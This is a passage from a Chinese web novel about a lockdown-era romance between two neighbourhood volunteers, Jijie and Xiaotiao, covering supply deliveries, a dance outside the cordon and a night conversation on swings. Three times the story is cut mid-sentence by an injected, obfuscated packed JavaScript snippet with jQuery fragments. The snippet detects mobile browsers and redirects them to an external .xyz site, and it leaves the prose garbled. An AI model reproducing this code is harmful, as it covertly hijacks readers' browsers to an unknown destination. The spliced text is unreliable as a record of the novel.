马克非要给小条点烟,小条摆摆手说:“你们抽。”马克走到远处,扯下口罩抽烟,在季节看来完全不合规。 正在她思考马克是否会被风里的病毒感染,抑或是烟熏能灭菌杀毒时,小条轻声说:“沉的就不要搬了。” “噢。”季节回过神来,担忧地看着他,“你的腰还好吗?” “腰?”小条微微一挑眉,说,“好着呢。” 季节最后检查一遍计算器,调出今晚累加的公式记录,每一板车拉走的数字都赫然在目,一长串加起来正是三街坊所有的户数。出于职业习惯,她毫无意识地随手截图归档,又毫无意识地发给小条留底,并注明某年某月某日三街坊每户一箱,不多不少,特此留念。 小条已经重新登上货车,准备开始卸塑料袋,新的三千多份传递再次开启。季节将计算器清零,马克、花泽类和诸位壮汉也回到车厢边,人人严阵以待,卷土重来。 以卸纸箱的成功经验为基石,卸塑料袋的行动顺利开展,车内外配合得当,心心相印。季节再度施展本领,计算器摁到冒火星子。 塑料袋尺寸较大,质地厚实,装得满满当当,袋口扎紧。隔着半透明袋子看去,隐约可见火腿肠、面条和大白菜等物。季节查数空档,心下暗喜,此物甚好。 塑料袋码在板车上,不涉及榫卯结构的吻合问题,因此每车都堆了一座小山。满载而去,空车而返,几辆板车各自运转而又彼此呼应,车轮痕迹如同行星轨道般优美错落。 卸到1500袋,季节报了数,小条照例宣布中场休息。季节随机加入了一个里弄的分配,几乎没有任何停顿。塑料袋和方才的纸箱一样,严格按照几乘几的方阵排布在地上,以便里弄负责人迅速统计收发盘数目。 箱子可以摞高,而塑料袋则分布为平面。大门之内,凡是空地都铺满一份一份的物资,蓝色的白色的塑料袋挨在一起,连成一片,如同海洋上翻出波浪。 从大门口之后,一直到小区中段,狭窄的马路上,树木丛生的人行道上,楼前的空地上,无不堆满了这样的方阵。半个小区被纸箱的群山和塑料袋的海浪覆盖。三街坊今夜灯火通明。 爷爷山到爹爹山之间,无数志愿者往返。每人都想方设法从爷爷山多拿一些,一口气运到各个爹山。后来季节说:“传吧!”人们不知不觉站成了一列纵队,一个传一个,省去了奔波之苦。 景文搬得满头大汗,也赞成地自言自语:“传吧!”季节突然觉得大家都不容易,恩怨一笔勾销,也开始后悔那天当面辱骂了他,至少应该背后骂的。 某个楼长现身,来接洽物资,带回自己的楼。戴眼镜的大姐食指在空中轻划,迅速点出四乘六。二十四份物资一消失,方阵空出一片,季节便用新来的物资一一填补空缺,以保持下一次点数的顺畅。 这一头,政府物资组忙得热火朝天,那一头,常规晚班的志愿者依然接收着快递和外卖,无穷无尽地循环着消毒和配送的动作。 然而政府物资运输项目过于宏大,征用了全部板车,派送快递和外卖的志愿者只得徒手拎着包裹去送货。或是找来某大哥的自行车,二八大杠,车后座和车座都捆上包裹,车把手两侧再挂上几串,然后由派送的推着走街串巷,画面风格奇异古早。若有人滑着滑板送货,或是骑着独轮车出场,季节都不会意外。 短暂中场过后,不少楼的物资已经送走,地面略微空出,小条挥了挥手,开始下一轮卸货。季节尽职尽责地计数,从头到尾精准无误,不声不响,颇具大将风采。 最后一袋物资装上板车,被壮汉拖走。季节低头在手机上进行一系列归档操作。小条几人跳出卡车,混入了装车的壮汉之间,大家爆发出惬意的欢呼声,一时间季节还以为突然解封了。趁着卡车还没开走,小条轻声对季节说:“帮我拍张照片,微信传我。” “没问题。”季节掏出手机,为小条和卡车合影。接着她突然想到,小条不是从不让人给他拍照吗?居委老师从志愿者队伍里选拔出摄影爱好者,拍下日常劳动场景,贴在小区宣传栏里,小条每次都东躲西藏,避开镜头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270453|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于是她把这张照片传给小条,就删掉了自己手机里的原图,不声不响,非常自觉。小条收到照片,看了两眼,满意地恩了一声。那照片把他拍得顶天立地,十分高大。 正想回到大门里继续搬货,小条轻轻捏住她的小蓝衣,拉着袖子把她牵了回来:“搬得够多了,休息一下。” 季节转过身来,他也刚好踏上一步。她的眼前是他的肩膀,近在咫尺。抬起头来,那双幽深黑亮的眼睛正向下看着她。目光交汇的一刻,彼此都移开了视线。小条的手松开了。 卡车开走了,门卫重新拉上封带,货架和棚子归位。大门外寂寥沉默,仿佛一场盛大舞会散场之后。背后传来三街坊内热火朝天的喧嚣,被风吹来,经过货架的过滤,听起来好像变得遥远。 季节发现自己和小条竟然站在大门和封带之间。他们与外界如此相近,触手可及,分割仅在一条脆弱的带子。她踮着脚看向道路的两头,正在抽芽的树木遮蔽了视线。 “想不到我竟然出来了。”季节感到不可思议,“我竟然出来了,真想不到。”她的语气就像一个关押多年的犯人突然被释放了。 “出去看看吧。”他看着季节眺望的方向,“路上很静。” “我可以出去看吗?”季节受宠若惊,党员带头人小条竟要带头打破禁令。 小条愣了一下,有一瞬间他忘神地看着她,尽管那一秒转瞬而过。接着他拔腿往封条之外走去:“走,我带你出去看。” 季节跟着他跨出封条,骤然暴露在自由之中,心情微微悸动。夜色沉沉,不见月亮,路灯冷冷地照着街道。这是一条只属于两个人的街道。 “跳舞吗?”季节没头没脑地问了一句。 小条却自然而然地伸出手来。季节的手放在他的大手里,隔着蓝色手套感觉到温度。顺着他的引带,两人的手臂轻轻抬起来,像空中的飞桥。小条歪歪头,示意她转个圈。 季节却说:“你先转。” “……” 有那么一会儿,小条应该是后悔答应她跳舞。他无奈地说:“你够高吗?就让我转。” 季节一蹦三尺,手腕一转,就带得小条转了个圈。小条配合地倾斜着身体,勉勉强强从两只相连的手臂下转了过去。 季节笑了起来。他也有样学样,转了一下手腕。一股旋转的大力袭来,季节也转了个圈,脚尖点地,身影轻盈,小蓝衣下摆飘飞。 他的另一只手伸了过来,好像要拉住季节的另一只手。季节呆呆地看着他,进也不是,收也不是。 小条察觉到了自己那只不受控制的手。拳头握紧,手臂放了下去,他最终没有拉住季节。 季节往后退了一步,两人原本拉着的手也松开了。小条在看着她,但她忽然不敢看他的眼睛,只是望着他的下巴,匆匆说了一句:“我要去抬了。” 说完,季节就跑了。 全部物资分配到户以后,已经是晚上十点。志愿者收工,季节回到家里,洗战斗澡后用手搓洗衣服,错过了和狐朋狗友的游戏时间。手搓衣服竟然比扛大包更令人筋疲力尽,一天来到了终点,季节在备忘录上注明:明日上班时间找104借水管。 窗外下起了大雨,预言诚不我欺。在雨声中,季节回想起那支舞。她给小条发了一句:“咱们运气不错,搬完货才下雨。” 而小条回复:“下楼,舞蹈家小姐。” 11. 淡水暮色 季节戴着口罩跑下楼去,一步跨进雨幕之中。他打着一把深色的大伞,站在楼门外等她。卸下了防护服的盔甲之后,他穿着宽大的浅蓝色短袖和灰色长裤,看向季节时,他口罩上方的眼睛亮了一下。 季节来到他身边,雨伞向她倾斜过来。见他半个肩膀露在外面,季节伸出两只手将伞扶正,两人都隔着口罩微微一笑。 小条递上来一个纸兜:“给你带的。” “吃的吗?”季节顿时双眼放光,同时略感疑惑,心想自己挨饿的事都传到党员那边去了? “……”小条沉默了一会儿,“怎么就知道吃。” 季节尴尬地一笑,遮遮掩掩地说:“其实我也没有很饿,逗你玩呢,哈哈哈……” “洗衣机的排水管,试试看型号合不合适。”他把雨伞从左手换到右手,略微不自然地说,“如果需要,我可以帮你换。” “是排水管?”季节探头看了一眼,“你是不是把自己洗衣机管子卸下来让给我了?” “没那么无私哈。”他客气地说,“去物业拿的,解封以后还一根就行了。” “你撬门进去的?”季节十分兴奋,忍不住埋怨道,“也不带上我。” “你小脑袋瓜里,都在想啥,门卫有物业的钥匙的。”他顿了顿,又问,“所以,用不用我上去帮你?” 由于今晚下雨,阳台上又摆出两个垃圾桶接水,季节实在不想让他进屋。她小心翼翼地说:“要不,我先自己试试,不行的话再找你帮忙。我自己修过增压泵,清过窗外晾衣架,杀过蟑螂,换过灯泡,还是有一定能力的,你不用太担心啦。” “……”他忍了忍,哑然失笑道,“你住的都是什么地方,这么神奇?” “就老房子啊,你懂的,三街坊算是品质还不错的了。”季节以过来人的口吻,语重心长,良言相告。回忆过往历次租房史,她突然笑了起来。 小条温和地问:“笑什么?大晚上的别吓我啊。” 季节便向他描述,自己曾住过另一个街区的维方一村,此小区顾名思义,还真都是危房,蟑螂从家里爬到外面人行道上。有一次瓶子帮季节一起拎着东西回来,季节说刚才走过去的人好像当红小生某某,人称国民偶像,瓶子说滚,在维方一村么? 他也笑了起来。两人同撑一把伞立在雨中,几乎要挨在一起。雨声激荡于整座三街坊中,而笑声仅在伞下,只有他们两人听得见。 小条撑伞遮着季节,把她送上楼前台阶。他一手插在裤兜里,漫不经心地说:“真没东西吃了可以来我家蹭饭。” 季节感恩地说:“好的,一定来。” 回到家里,季节上网搜集了换水管的若干资料,大致将各个步骤和节点摸清,就放倒了洗衣机,撸起袖子大干特干。小条送来的水管直径适宜,尝试几次之后,竟成功更换。 季节蹲在地上,久久欣赏着崭新的、没有爆裂的新水管。在雨天能洗个好澡、睡个好觉,洗衣机正常运转,冰箱里有菜有肉,还有锅,原来这是多么幸福。 为检验成果,季节扔进去两件衣服进行测试,在旁边提心吊胆地看着,随时准备迎接第二次漏水。好在洗衣机运转顺畅,漩涡涌动,排水利落,此时已是夜里十二点。季节瘫倒在床上,想起了小条,就匍匐着取过手机,给他发了一条信息: “为表达我的感谢,特发送此微信,over。” 想不到他还没睡,几乎是秒回:“换好了?” “换好了,榫卯结构,很合适。”后面是一排大拇指。发完这句,季节再也抵挡不住疲惫和困倦,两眼一翻就睡了过去。手机砸在脸上,第二天醒来时还依然在脸上。 拿开手机,发现今日满屋都是阳光。季节先摁了电脑开机键,输入密码,再匆匆洗漱。吃上早饭,她才看到那边还发过来一句话:“那怎么感谢我,光送一句话嘛?” 可惜她一宿都没有回复,现在已经是上午九点五十了。 …… 所谓人逢喜事精神爽,拥有健全的洗衣机后,季节做底稿都心平气和,发送邮件时更是措辞得体而温良。群里的狐朋狗友纷纷恭喜季节解除危机,但老D也好言相劝,提醒她不要乐极生悲,注意家中其余管道线路的老化问题。 季节命他闭嘴,他却半遮半掩地表示自己也在当楼栋志愿者,为每一层楼梯喷洒消毒水。季节哟了一声,说:“我就知道,老D当年坐地铁,不停地落座再让座。”老凤说那就一直站着算了,干嘛还总坐?老盆则问他用什么装置为各楼层消杀,浇花的喷壶吗? 瓶子发出几张图片,六街坊昨晚也收到物资,内容和三街坊大致相似,但每个类别下的品牌不尽相同,老盆分析说这是因为目前仅能发放超市里的存货,有什么发什么。六街坊户数不算多,在志愿者的组织下,发放得较为迅速。三街坊的宏大和复杂,仿佛天然地构成舞台的布景,注定有故事在此发生。 老凤在楼道邻居的帮助下修好电脑,现已恢复办公,适逢要出报告,忙得不可开交。但他还是持之以恒地抽空将一些社会新闻转发到群里。医院和方舱不断地收纳病患,医护人员穿着防护服加班。出于防毒考量,这种衣服只能使用一次,吃饭或上厕所时脱下,则需再换上新的。于是,为节约装备,医护人员一整天都不吃饭喝水,将一件防护服从头穿到尾。 老凤连季节老家的新闻都搜来了。前些天老家还在下雪,医护人员穿着防护服在室外测核酸,高强度运转,连去厕所的时间也无。每人都穿着成人纸尿裤,液体流到裤脚,都冻成了冰。 读到这些报道时,季节往往鼻子发酸,热泪盈于睫。但很快她又会被其他纠纷事件激怒,义愤填膺地在屋子里来回踱步。就这样在感动和震怒之间反复,以至于晚上气得睡不着觉。 无论如何,傍晚五点的时间总是绮丽如霞,游离于世界之外。季节来到大门口当班时,晚班其他的成员也已经到场。大家一边穿戴小蓝衣和手套,一边闲聊着这几日的确诊情况。又有几座新的仓库和移动板房被征用为方舱,用以收容感染病毒但无需医疗抢救的病患。三街坊内部的小学校倒是并未被征用,尽管此前有过这种风声。 本杰明正和雨披姐探讨抗原自测的准确程度。目前核酸大概两天一测,无核酸的那天执行抗原自测。抗原是居委发的,放在每个楼的楼门口,住户自行错时下楼拿。当时是个周末的下午,季节临时出去当班,是楼下的女邻居帮她带上去的。 季节打了招呼,抄起喷壶,抽拉加压杆,将消毒水均匀喷洒在大包小裹上。只听本杰明在说:“我朋友他们住的小区,每天要求自测两遍抗原,看不懂……” 雨披姐啧啧称奇:“那不得捅出鼻血啊?” 季节忙着接待新来的快递,一边埋头记录一边说:“我反正每次都泪流满面。又怕捅得不标准,测不出来,又怕测出来,发现自己阳了,唉……” “我们志愿者队伍到现在还没有感染的,说明做得还可以。”背后传来悠悠的说话声。即使没有回头,季节也知道是他来了。 记完了这一批快递,又一丝不苟地消杀过后,季节终于转过身来,发现小条正看着她。他今天依旧戴着白色棒球帽和蓝色口罩,身后是满天的粉紫色云霞。那一刻,季节忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270454|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然希望和他一起逃出三街坊的围栏。如果他们并肩沿着公路向西走,公路的尽头就是江水,江水上是晚霞。 “看什么呢?”小条走到她身边,一手取过一辆板车,把货架上的包裹按远近大小装上车。季节慢了半拍,也开始打下手,突然灵机一动,开口套问道:“条总,你姓条吗?敢问大名是什么,我要送上锦旗,感谢昨晚的水管。” “我不姓条。”条总摇头哑然失笑,却丝毫不上钩,“我的名字要保密,就不告诉你。” 季节立刻说:“你都知道我的名字,我也要知道你的才公平!” “你自己群昵称改成了真名,实名制冲浪,不怪我。”他一本正经地看着季节。季节悻悻地撕下一块白纸,把板车上包裹的楼号一一写明,供他拿在手中当小抄。他看着货架上的记录单,自言自语地说:“不光不透露真名,我现在用的微信也是小号,等到解封那天就不用了。” 季节笔走龙蛇的右手停顿了。她负气地说:“那就漂流瓶联系吧。” “嗯。”小条赞同道,“漂流瓶联系。” 季节沉默着,低头看着记录单,满脸的冰霜都要垂下来了。小条偷偷看了她一眼,什么也没说,隔一秒钟又悄悄看了一眼。 小条拖着板车大步离去。季节站在原地,头顶阴云环绕,久久没有说话。本杰明低头看了一眼手机,突然如获至宝,向大家宣布明天又可以订慈善超市的蔬菜包了,还说这次供应比较充足,预计会来一大批。 众人满足地唉声叹气,雨披姐好心提醒季节盯牢楼栋群,随时报名选购。季节傻呆呆地点了点头,她突然觉得很泄气。她以为自己用独一无二的姿态走进了小条的心房,原来小条狡兔三窟,实际有多处住宅。她只是一个投在仓库门上的影子,门后根本不是他真正的心房。 整个晚上,她哐哐地干着活,自己找了一辆板车就出发送货去了,将小条晾在一旁。小条只得自动转换为登记消毒的角色。有一瞬间,他似乎想要叫她,却被她目不斜视地掠过,声音堵在嗓子眼没发出来。 等待出车的间隙,她故意不去看小条,只在本杰明和雨披姐之间流连,或是跟不认识的几个小姑娘谈论天气。后背总有种发毛的感觉,似乎谁的目光在盯着她。转头看时,小条却总是在对着大白纸打勾,或是托别人把派送中的号码拍下来发到群里。 季节冷笑了一声,几乎想去当面大声问他,你不是在群里吗,装什么神秘?难道是什么明星偶像不成,在三街坊么? 志愿者照例晚退,八点半左右才散场。季节用喷壶对着自己上下扫射,又像调酒师一样拿着壶反手往背后喷。小条在旁边低低笑了一声。 季节只做不闻,头也不回,大步流星,潇洒离去。 狐朋狗友正在会议中大呼小叫,让季节抓紧上线。季节有气无力地躺倒了,说自己今晚无法战斗,就退出了会议。家里的啤酒已经全部喝光,窗外树海之上的霓虹灯还在闪来闪去。 无酒抒怀,季节便点开了音乐台。一首陌生的提琴曲如轻烟般袅袅升起,高高低低,曲折摇曳,如同倾诉。这首歌叫做《淡水暮色》。 这时季节还并不知道淡水是地名,以为是和咸水相对。在曲声中,她先是看见水面上的晚霞,那晚霞就像小条身后的一样。接着,暮色将尽,模糊的色彩都消散了。想家的感觉像潮水一样涌上心头,尽管季节也说不清为什么。她觉得自己既然碰壁,不如归去。 在无以言说的心情里,她的眼泪终于纷纷扬扬地落了下来。也许是哭得头脑发昏,季节拿起手机就给小条发了一句:没人和你漂流瓶联系,失联吧! 12. 秘密花园 发完这句,季节心有戚戚焉,万念俱灰,仰面躺着,在淡水暮色中缓缓下沉。或许一直以来小条根本对自己没有好感,又或许他早就有对象了,这段时间对她的照顾不过是出于党员对群众的责任。 一旦复盘,就一发不可收拾,季节推导出完整逻辑链,认为从一开始就是自己对着小条高谈阔论,人家都不想回话。故而今天一得到机会,他就立刻委婉表明立场,告诫季节从解封起不必再联络。 季节又开始了第二轮的哭泣。由感情世界推及现实世界,想到自己在事务所中豪掷青春,却几多坎坷、一事无成,下周就要终结这份工作,更是悲从中来,难以自已。洒泪正酣时,忽然发现小条回复了: “漂流瓶也找不到我,略略略。” “……”季节气得几乎厥了过去。她怒回道:“那你一键删除好友吧。” 这句消息却没有成功发出去。绿色对话泡泡前,出现了一个红色的圆圈标志,令人触目惊心。季节感到血液都涌到了头上脸上,大脑嗡嗡作响。小条竟然把她拉黑了? 再定睛一看,原来那红色圆圈是重新发送的标志。是自己这边信号不好,导致消息发送失败。 季节点了一下红色圆圈,这回消息发送成功了。她松了一口气,终于确认对方暂未将自己加入黑名单。但随即她看到重发出去的话,才意识到自己说了什么,差点跳了起来。 她的脑海中只剩下一个念头,坏了,这下真要被删除了。 那边却并没有生气,反而终于察觉到季节情绪有恙:“你咋了?” 季节知道自己没有立场发火,不敢再任性妄为,以免一波三折,最后到底还是被删除了。思来想去,她只得闷闷不乐地说:“我想家了。”此时乐曲声幽怨迂回,旋律仿佛夕阳下一排摩天大厦的影子,高低曲折起伏。季节又开始哭个不停,长久以来积压的苦闷、吃不上饭的恐惧、工作三年的怨恨,全都厚积薄发,化为眼泪。 小条问道:“能下楼吗?” 季节向镜中看了一眼,简单擦了一把脸,戴好口罩,郁郁寡欢地走下楼去。 楼外夜空晴朗,一半人家都已熄灯,三街坊昏昏欲睡。仰观宇宙,竟能看见满天星星闪动,一颗出现后又带出另一颗。小条在楼下等她,递上一个牛皮纸袋:“怎么了,都饿哭了?” 季节接过来一看,里面装的是点心和果汁。谁家好小伙子会囤积甜食?老D他们哥几个连水果都很少吃。这甜点多半是用来招待女朋友的。想到此处,季节挺着端正的脖子,不卑不亢地说:“谢谢党组织对我们的关心,回头买新的还给你。” 小条却闲闲地问:“什么时候还?哪天?” 季节对他勾勾手指:“附耳过来。” 他不明所以,真的低下头来。两张蒙面的脸,彼此离得很近。季节对着他耳朵低声说:“季节是我的化名,我的真名也不告诉你。漂流瓶也不联系,解封就拜拜。” 低沉的笑声在季节耳边响了起来。他直起腰来,又笑了一会儿,才说:“你就为这个生气啊?” “哦。”季节推己及人,联想到那个素未谋面的女孩如果知道自己男友与异性调笑,一定心情不佳,于是立刻远离小条几步。小条直直地盯着她,盯到她不得不问:“看我干什么?” “没什么。”他看起来身心愉悦,脚步轻快,“走一圈吗?我不敢自己回去。” “……” 两人并肩走在三街坊的树下,季节心不在焉,抬腿就拐进了一条小路。待到回过神来,发现眼前是一片秘密花园,健身器械的轮廓在昏暗中模糊不清,周围的香樟树如同屏障,将房子和路灯远远隔绝在外。 “干嘛带我来这么黑的地方。”小条说着,自顾自地坐在秋千上。 季节犹豫了一下,说:“走吧。” 小条没有动身。他用一种轻不可闻的声音问道:“为什么想家了?该不会是想男朋友了吧。” “什么?”季节转头看向他,只疑心是自己听错了,他却不再说第二遍。季节只好如实答道:“我没谈过男朋友。” “我没谈过男朋友。”小条学着她的语调说道。 季节不悦地盯着他:“你把女朋友的点心拿出来做人情了吧?” “什么女朋友?”他奇怪地说道,“那是之前开会发的点心礼盒。”隔了一会儿,他低声说:“我没谈过女朋友。” 一瞬间,季节只觉得晚风迎面吹来,一身阴霾都散了。不知不觉,她也坐在另一张秋千上,若有所思地看着星空。再回头看小条,发现他一直注视着自己。两人视线相接,忽然都转开脸去,仰头笑了起来。 小条笑着笑着忽然戛然而止,严肃地看着树丛:“居委来巡逻了。” “是吗?”季节一惊,压低嗓音问道,“在哪呢?要不要躲起来?”由于声音过于压抑,听起来像嘶嘶的蛇语。 “逗你的。” “你说,我们这样跑出来是不是严重违规违纪?”季节眉头紧锁,猛地一甩头发,“可是这样真的很爽啊!” 他放声笑了起来,浑厚澄澈的笑声让季节想起大提琴。她拿出手机,播放《淡水暮色》,对小条介绍这首歌多么催人泪下。小条却说大调的音乐不太容易伤感。季节轻轻荡着秋千,静静听着乐曲。 小条深沉地看着远处:“思乡曲。” 季节以为这首歌又名思乡曲,不禁佩服他的博闻强识:“这都知道啊?” “音乐封面上写的。”他对着季节手里的手机屏幕点了点头。 “……” 季节跳下秋千,从背后推了他一把:“走你!”可惜沉沉的没有推起来。他的脚不曾离地,倒是十分配合地说:“好高啊,我都恐高了。” 坐回到自己的秋千上,季节在凉风里甩动头发,两人有一搭没一搭地聊着。他说这几天在忙一个并购项目,写财务尽调报告直至凌晨。季节惺惺相惜,就主动说起自己也跟过一个并购项目,不过她是做税务尽调的。那时她碰到的目标公司各有千秋,出奇制胜。有的公司财务说,我知道应该申报某项税,但是我嫌太麻烦了,就没去…… 他出声地笑了起来。季节继续说,事务所的工作好像已经超越了很多人,每日出入摩天大厦,满口英文术语,但她就是无法快乐。她实在受够了经理无休止的霸凌和批斗,以至于有一天她抬头看了经理一眼,就干呕了出来,让经理脸都绿了。 有一次,她一个白天就做了五十张PPT,尽管这份报告本身几乎没有意义。然后她照例被经理反复挑剔,用一个晚上改了五遍…… 又有一次,那是小华尔街一个平静的雨天,没有喧嚣,没有质问,没有反复的修改,只有雨水滴落在屋顶和土地的声音。她做了八张底稿,不用想任何疲惫的事,只是专心地感受着数字的逻辑与结构之美,构思着清丽简洁的排版设计。 “工作吗,至少百分之五十的活都是没有意义的。理想是很容易磨损的。”小条慢慢听着,也慢慢说着,转过头来看着季节,“所以你是哪所学校毕业的?” 季节笑嘻嘻地说:“你猜。” 他毫不犹豫地说:“D大。” D大是南方最权威的高校,名号响亮,其学子一亮出身份,旁人无不敬仰。季节的眼睛都笑弯了:“对了。” “厉害,厉害。”小条抱拳恭维道。 “那你呢?”季节不等他答,就抢着说,“先别说!让我猜猜!” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270455|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条果然就没有回答。季节想了一会儿,说:“D大?” “是。” “……”季节控诉道,“那你刚才不说?还假装自己是保安吗,条儿。” 小条伸手拍了拍她的头:“我是你学长。”一首乐曲已经播完,两人又荡了一会儿秋千,他低声问:“所以,你这份工作干得很不开心?” “不开心。”季节无奈地说,“采访你一下,你觉得工作了这些年,还能找到成就感吗?” “不能了。” “我觉得我被困住了。不过我倒是不后悔做这行,尝试过才有资格说不喜欢。”季节轻轻荡着秋千,犹豫了一下,略感羞耻地说,“其实我想转行去机构做舞蹈助教,带业余学员,已经在看机会了。比如我可以带他们练功、编舞,录一些跳舞视频……将来再看应该很怀念吧?” 她已经做好了被他训诫的准备。她猜小条也许会说,D大商科毕业,为什么不留在专业领域内发展?当什么舞蹈教师,你又不是科班出身,能赚到钱吗? 他却说:“录吧,录好了我看。” 季节抬起头来,双眼闪闪发亮。如果眼睛能够录影,季节一定会把这一幕存档,日后反复重映这句话。她双手握住秋千绳索,脚尖点地,后退,蓄力,荡向前方,自言自语道,悟已往之不谏,知来者之可追。 “其实很羡慕你有这个勇气。”小条略显低沉地说,“你做了我一直不敢的事,很自由哦。” 季节善解人意地说道:“如果你真的想当保安,可以回学校收发室去应聘啊,说不定那大爷快退休了。” 小条噗地笑了,故意说:“自己当保安没意思。” “你可以买断朋友们的工龄!”季节一拍大腿,“然后大家一起回学校当保安!” “不行额,几个人分一个岗位的工资,不够我买点心的。” “你可以少花一点,人不一定要拥有很多东西的。”季节带着一脸启发性的微笑,“你还可以利用空闲时间指导在校学生编程……” 他笑了起来,轻轻问道:“那你呢,辞职以后开心吗?” 没有收入哪会开心?季节只能含糊地说,还可以,白天出来干活挺开心的。 小条说:“然后夜里哭鼻子?” “……” 他从鼻腔里发出轻微的笑声,说:“没关系,你还小呢。不像我,再熬夜都要长白头发了。” “即使到了四十岁,五十岁,也没关系。”季节轻轻说道,“我觉得白头发就很酷啊,等我头发全白了,我就染成粉色,都不用漂了。” 两人相视而笑,小条说:“也对哦。” “对了,条总。”季节突然坐直身体,像发现了新大陆,“我就说么,你的名字怎么这么耳熟,这下我全想起来了!” “想起什么?”小条的眼神第一次迷惑了。 “你的名字,是从世界名著里来的,”季节煞有介事地说,“有典故呀!你不知道吗?” 小条紧张而期待地看着她。她说:“条子来了。” “?”小条愣愣地看着她,“这是什么世界名著?” “《悲惨世界》呀,”季节理所当然地说,“里面有这句。” “我不大记得了。”小条又挑了一下眉毛,“可能我们看的译本不同。” “有可能。”季节肯定了他的推测,“我看的是连环画版本。” “……” 这天晚上,他们在秘密花园中说了很多话。回家躺倒以后,季节还在久久回味。她点开手机,把自己的微信名字改成:我喜欢大调的舞曲。 改完以后,顺手点进小条的名片,发现他也改了名字。季节看着那名字,不出声地笑了。 13. 雨夜风云变幻 傍晚下起了阵雨,季节来到大门口时,小条已经站在991弄的货架前。其余各弄的志愿者也各就各位,登记,消毒,往来送货,货架前人影如织。橘粉色六层老楼被雨水打湿,颜色加深,就像宣纸上的颜料再叠加一笔颜料。在石青色天幕下,三街坊像一张湿润的胶片。 雨丝斜飞,触碰到货架的每一层,又向外弹开,仿佛透明的光线四散。世界缩小到一方天地,所有微型的景观都变大了。季节换好小蓝衣和蓝手套,悄然无声地走到他身后,猛地伸出一根手指戳了他左肩膀。他向左边转过头来时,季节躲到右边。他再转头看右边时,季节躲到左边,口中低声喝道:“拖车的条子!” 他回复暗号:“我喜欢大调的舞曲。” 喊出了对方的网名后,两人彼此点头致意,全身心投入工作。 有几袋外卖的小票摇摇欲坠,季节找来订书器重新订好,以免又要层层转发失物启示。她想起第一次当班的晚上也下着雨,橘黄色树叶随风飘零,像一封书信一样降落在货架上。那一晚留下的印象是潮湿、嘈杂而混乱,就像南方的雨季。 小条正在往每一层货架上喷消毒水,同时像教孩子一样和颜悦色地告诉季节:“我们先喷在货架上,包裹再放上去,这样底面就直接消毒了,只需要再喷其他几个面。” 季节说:“条子,有没有人跟你说过,你很像我初中时候的一个老师。” 小条说:“除了你,应该没人能跟我说哈。” “那个老师特别温润,特别宽宏,特别和善……”季节极力搜刮着所有美好的词汇,“而且还对我很好,很喜欢我。” “那是挺像的。”小条看着马路对面,目不斜视地说道。 心中忽然腾起别样的感觉,季节不知道该怎么接话。雨已经停了,恰好货架堆满,她装了满满一车,将小条留在门口,自己去送货了。记录单上有两列号码被圈出来,季节拍下来发在群里,配以文字:画圈的派送中。 不久,又有志愿者发照片到群里:打勾的正在派送中。 接着另一人紧随其后:线以上的派送中。 更有人头脑灵活,用戴手套的蓝手遮住尚未开始派送的部分:没遮住的正在派送中。 …… 随着业务技术臻于纯熟,现在“派送的”大多不需要再手握一张小纸条,板车上有哪些楼的货物,基本都在心里。季节边走边送,边送边留意板车上剩余的包裹都在哪些楼栋,以便一条线串完,不走回头路。由于码货顺序得当,也确实一气呵成,没有来回奔走。 刚开始拖车那几天,经常走到某处才发现是死胡同,或者地势升高、板车上不去台阶,只得原路返折,从另一侧绕进去。还有两条里弄隐藏较深,要从一个小口进去,而后别有洞天,类似桃花源。如今这些难点已不是问题,季节觉得自己经验丰富,如同企业中的资深会计,各种业务处理都得心应手,稳健老到。 每件包裹放在楼门口,再最后检查一眼号码,拍照留证。空车返回时,总是神清气爽,脚步轻盈,幻想着那些居民下楼拿到包裹时的期待和慰藉。 走回到大门口,只见小条哼着歌记录快递,全然不像在加班之余来干活的人,反而如同在度假村里踏春一般。 季节等他唱完一整首歌,才鼓掌赞叹,此曲只应天上有。他指了指自己头上的白色棒球帽:“你一直没看到我帽子上的字吗?” “太高了,看不到。”季节踮起脚来,伸长脖子去看。他弯下腰来,向她俯首。 帽子上写着:歌王。 季节哈哈笑起来,他哼了一声:“笑什么,不是吗?” 她说:“不是,我第一眼看成了欠王。你这买的盗版吧?” “谁说的,我朋友送我的,你这是嫉妒行为。” 季节刚要再说,眼见景文躁动地现身,满场巡视,听各弄汇报,拿起这个,扔下那个,十分冲动。恰好这时货架较为疏朗,没有新的快递员和外卖员上门,她转身悄悄对小条说:“咱们去别的地方站会儿吧!” 小条轻轻笑了:“没事,我不太介意这个。”说完,把帽檐拉下来遮住脸,立正缩脖站在一边:“看不见我。”欠王两个大字,光明正大地昭示天下。 季节豪爽地站到他前面:“我挡着你!” 那一头,景文还在对赶来拉货的驱车大爷说:“叔叔,最近吃得还好吧?政府物资收到了吧?” 